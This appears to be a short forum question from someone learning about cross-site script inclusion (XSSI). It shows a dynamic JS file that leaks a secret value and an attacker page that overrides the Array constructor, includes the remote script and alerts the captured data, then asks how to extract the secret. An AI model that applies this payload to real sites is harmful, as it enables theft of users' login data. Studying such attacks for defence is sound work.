I'm learning about XSSI attacks and I'm wondering if the following dynamic JS can be used to access the content.
Dinamic.js:
if (window.location.hostname === 'Demo.site.com' ){
updateLoginHeader('Nick', 'IWANT-THIS-SECRET'); }
Can the attacker retrieve IWANT-THIS-SECRET using javascript tag? I was trying something like:
<script type="text/javascript">
var secrets;
Array = function() {
secrets = this;
};
</script>
<script src="https://example.com/Dinamic.js"
type="text/javascript"></script>
<script type="text/javascript">
var yourData = '';
var i = -1;
while(secrets[++i]) {
yourData += secrets[i] + ' ';
}
alert('I stole your data: ' + yourData);
</script>
Any ideas to retrieve IWANT-THIS-SECRET?